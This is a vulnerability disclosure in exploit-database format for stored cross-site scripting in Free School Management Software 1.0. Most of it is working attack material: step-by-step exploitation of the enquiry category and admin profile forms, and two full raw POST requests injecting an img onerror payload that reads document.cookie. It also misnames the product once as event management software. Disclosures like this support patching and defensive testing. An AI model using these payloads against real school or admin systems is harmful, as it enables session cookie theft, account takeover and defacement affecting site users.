Free School Management Software 1.0 – ‘multiple’ Stored Cross-Site Scripting (XSS)
# Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: fuzzyap1 # Date: 7-12-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip # Version: 1.0 # Tested on: windows # Vulnerable page: http://localhost/admin/enquiry_category # Vulnerable Parameters: "category" Technical description: A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/admin/enquiry_category 2) Insert your payload in the "category" parameter 3) Click "save" Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(document.cookie)> --- POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------151631281127875309002088019539 Content-Length: 490 Origin: http://localhost Connection: close Referer: http://localhost/admin/enquiry_category Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63; ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0 Upgrade-Insecure-Requests: 1 -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="category" This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)> -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="purpose" Payment -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="whom" Tutorial -----------------------------151631281127875309002088019539-- --- Steps to exploit: 1) Navigate to http://localhost/admin/manage_profile 2) Insert your payload in the "anme" parameter 3) Click "save" Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert('xss')> --- POST /admin/manage_profile/update HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------13285163425854907563979323722 Content-Length: 519 Origin: http://localhost Connection: close Referer: http://localhost/admin/manage_profile Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16 Upgrade-Insecure-Requests: 1 -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="name" Administrator"><img src=# onerror=alert(document.cookie)> -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="email" admin@admin.com -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="userfile"; filename="" Content-Type: application/octet-stream -----------------------------13285163425854907563979323722-- --- |